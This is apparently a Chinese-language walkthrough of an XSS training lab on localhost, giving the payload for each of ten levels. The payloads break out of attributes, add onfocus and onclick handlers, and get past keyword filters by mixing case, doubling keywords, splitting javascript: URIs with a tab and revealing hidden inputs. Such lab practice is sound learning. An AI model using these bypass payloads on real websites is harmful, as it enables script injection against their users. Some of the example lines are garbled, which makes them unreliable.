第一关
localhost:8083/xss/level1.php?name=test<script>alert(1)</script>
第二关
源码
文本框输入js代码,查看源码
由于第一个,[<]被转义,因此在第二个里试
源代码的样式
<input name=keyword value=" ">
插入的代码
"><script>alert(1)</script><a class="
完整显示的代码
<input name=keyword value=""><script>alert(1)</script><a class="">
第三关
"><script>alert(1)</script><aclass="
第二个也对[<]做了转义,是单引号
<input name=keyword value=' '>' onfocus='alert(1)<input name=keyword value='' onfocus='alert(1)'>
第四关
双引号
<input name=keyword value=" ">" onfocus="alert(1)<input name=keyword value="" onfocus="alert(1)">
第五关
双引号,对on进行过滤
"><ScRiPt>alert(1)</script><a class="
对script进行过滤
<input name=keyword value=" ">"><a href="javascript:alert(1)">点击我</a class="<input name=keyword value=" "><a href="javascript:alert(1)">点击我</a class=" ">
第六关
对href进行了过滤
<input name=keyword value=" ">"><ScRiPt>alert(1)</script><a class="<input name=keyword value=""><ScRiPt>alert(1)</script><a class="">
第七关
<input name=keyword value=" ">"><scrscriptipt>alert(1)</scscriptript><a class="<input name=keyword value=""><scrscriptipt>alert(1)</scscriptript><a class="">
第八关
对script进行了过滤
使用伪事件(用tab进行反过滤)
<a href=" ">javasc ript:alert(1)<a href="javasc ript:alert(1)">
第九关
发现只有使用http://,且他们为完整的就行
伪事件(将r转化为10进制)
<a href=" ">javascript:alert('http://')<a href="javascript:alert('http://')">
第十关
有三个input标签被隐藏,在url上看看
?keyword=well done!&t_link=111&t_history=222&t_sort=333
第三个input标签有显示,在这个上面想方法
<input name="t_sort" value="333" type="hidden">&t_sort=333" onclick=alert(1) type="text<input name="t_sort" value="333" onclick=alert(1)type="text " type="hidden">
把input显示出来